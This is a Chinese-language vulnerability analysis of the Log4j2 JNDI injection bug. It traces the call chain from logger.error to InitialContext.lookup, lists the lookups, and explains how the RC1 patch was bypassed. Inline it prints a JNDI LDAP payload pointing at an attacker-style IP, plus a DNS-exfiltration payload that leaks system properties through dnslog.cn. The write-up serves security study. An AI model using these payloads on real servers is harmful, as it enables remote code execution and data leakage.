Apache Log4j2 JNDI注入

补丁分析

根据官方Github Restrict LDAP access via JNDI 的这条PR可知漏洞为JNDI注入,从补丁中也能得知修复方式添加了LDAP Server白名单及白名单类,位于 log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java

image-20211212154458202

对于补丁后的 JndiManager#lookup 方法其使用 URI 类解析,如果协议为 LDAPHost 必须为 allowHosts 中存在的 Host,否则无法发起请求。(即无法调用lookup)。

image-20211212154747384

从补丁中可得知如下信息:

  • 漏洞为JNDI注入
  • 修复方式采用白名单

log4j2 是一个日志组件/框架,其提供的功能也就是打印日志并存储,可控的输入点实际上不会太多,从官方文档可知污点大概率会存在于日志打印时的 infodebugerror等方法中,只有在调用这些方法时才会大概率拼接上用户可控的输入参数(Sink)。

漏洞分析

在撰写本文时网上已经公布了该漏洞的Poc,直接在 logger.error处断点分析,进入 AbstractLogger#error方法。

image-20211212155655109

调用 logIfEnabled 方法时传入的第二个参数(即日志等级)为 Level.ERROR 值为 200

image-20211212155915657

回到 logIfEnabled 方法中其会调用 isEnabled 方法,其中 level对象的值为 200message 变量为打印的消息。

image-20211212160057118

进入 isEnabled 调用 Logger$PrivateConfig#filter 方法

1
return this.privateConfig.filter(level, marker, message, t);

filter方法中如果当前对象的 intLevel成员变量大于等于 level.intLevel()方法的返回值则返回 true,而此处返回 true则会进入 if分支中调用 logMessage方法,反之则无法调用。

image-20211212160724031

Logger.intLevel 的值默认为 ERROR 即200,所以一些伙伴在本地复现漏洞时会发现只有 errorfatal方法能触发漏洞,实际上是因为 log4j的默认日志等级为 error,所以即使使用 logger.info打印任何消息在控制台中也不会输出日志信息,但在实际的生产环境中,部分开发会将日志等级设置为 infodebug等便降低了漏洞利用门槛。(如果你需要在 info等方法中复现漏洞只需手动设置日志等级即可)

1
Configurator.setLevel(LogManager.getLogger(HelloWorld.class), Level.info)

(下图说明了默认的日志等级为ERROR)

image-20211212162820477

回到 logIfEnabled 方法其会调用 logMessage方法将 message字符串封装为 Message对象再调用 logMessageSafely 方法。

image-20211212163008181

调用 logMessageTrackRecursion方法:

image-20211212164434557

incrementRecursionDepth 方法会调用至 getRecursionDepthHolder 方法, recursionDepthHolder是一个 ThreadLocalint[]数组变量,表示当前递归深度。

image-20211212171409335

而后再进入 tryLogMessage 方法中调用 log 方法:

image-20211212171527362

this.privateConfig.loggerConfig.getReliabilityStrategy() 返回 LoggerConfig.reliabilityStrategy的成员变量,其在初始化时赋值为 DefaultReliabilityStrategy对象,该对象实现 LocationAwareReliabilityStrategy接口因此进入IF分支。

image-20211212172002173

调用 LoggerConfig#log 方法:

image-20211212172143575

propertiesRequireLookup成员变量在默认构造器初始化时被赋值为 false,再此调用重载的 log 方法。

image-20211212172554068

LoggerConfig.filternull进入 processLogEvent 方法

image-20211212214549259

event.setIncludeLocation 赋值 MutablelogEvent对象的 includeLcation成员变量为true,LoggerConfig$LoggerConfigPredicate#allow方法默认返回true进入IF分支,调用 callAppenders 方法。

image-20211212215150476

调用 AppenderControl#callAppender方法:

image-20211212215342637

AppenderControl#callAppenderPreventRecursion方法中调用 callAppender0方法

image-20211212215549344

进入 tryCallAppender方法

image-20211212215909157

调用 this.appenderConsoleAppender对象,由于子类不存在 append方法,因此会调用到父类 AbstractOutputStreamAppender#append 方法

image-20211212220313919

directEncodeEvent方法中调用 PatternLayout#encode方法

image-20211212220552655

进入 PatternLayout#toText 方法

image-20211212224215928

调用 PatternLayout$PatternSerializer#toSerializable方法

image-20211212230333931

formatters变量是 PatternFormatter[]对象数组,循环调用这些对象的 format方法

image-20211212231419588

循环至 PatternFormatter对象的 converter的成员变量为 MessagePatternConverter对象时进入其 format方法分析

image-20211212231747332

workingBuilder的第一位字符为 $与第二位字符为 {时进入分支中,从 DefaultConfiguration对象获取 StrSubstitutor对象调用其 replace方法

image-20211212232620287

跟进 substitute 方法

image-20211212232722756

substitute方法中的 while 循环内获取打印的消息中 ${的结束位置索引,而此处打印的消息为 ${jndi:ldap://192.168.0.114:1389/ygoa8q},因此为 2。而后进入 else分支中

image-20211213000406582

else 分支中的 while循环中如果 pos大于等于 bufEnd则跳出 label117标记的循环(即当前位置大于字符总长度时跳出循环),随后的 if 判断中 pos(起始位置)为2,因此 prefixMatcher.isMatch 返回 0,进入 else 分支。

image-20211213000822650

对打印的消息进行处理后会调用 resolveVariable方法

image-20211213002756890

此处即可查看StrSubstitutor.variableResolver中包含 jndisysenv等等…(与后续的信息泄露利用相关)

image-20211213003609588

通过分号进行截取 prefixname,从 strLookupMap属性获取 JndiLookup对象(strLookupMap为Map<String, StrLookup>),此处调用至 JndiLookup#lookup方法

image-20211213003904053

convertJndiName 方法判断传入字符串参数如果不以 java:comp/env/ 开头且不包含 :,则会为其添加 java:comp/env/前缀并返回。

image-20211213004042013

JndiManager#getDefaultManager获取 JndiManager实例对象后调用其 lookup方法

image-20211213004354639

contextjavax.naming.InitialContext对象,调用其 lookup方法且参数可控最终造成JNDI注入

image-20211213004529736

Poc

image-20211213004623013

Lookups

上述 Debug过程中可得知除了 jndi外还支持 loweruppersysenv等等…

image-20211213005945664

upper & lower

顾名思义,该Lookup用于转换为大写,LowerLookup同理

image-20211213224108521

sys & env

调用 System.getProperty获取系统属性,env同理用于获取系统环境变量,配合 {jndi:dns://{${sys:java.version}.dnslog.cn}}可通过DNS外带系统属性或环境变量值

image-20211213224338512

image-20211213225607863

其余Lookup感兴趣的可自行尝试。

RC1补丁 Bypass

RC1的补丁在 org.apache.logging.log4j.core.net.JndiManager类中新增了白名单验证,如果协议为 LDAPLDAPS则Host必须为 allowedHosts 列表中(默认只有本地IP存在)。但由于解析JNDI链接时使用 java.net.URI类解析,且捕捉了 URISyntaxException异常未进行任何操作,在代码走到方法最后时执行 lookup,导致RC1补丁被绕过。(但RC1补丁默认情况下已经不会开启LookUp,所以需要在手动开启该功能的情况下才会触发漏洞),而RC2的补丁则是在捕获异常处直接 return null

image-20211213231528199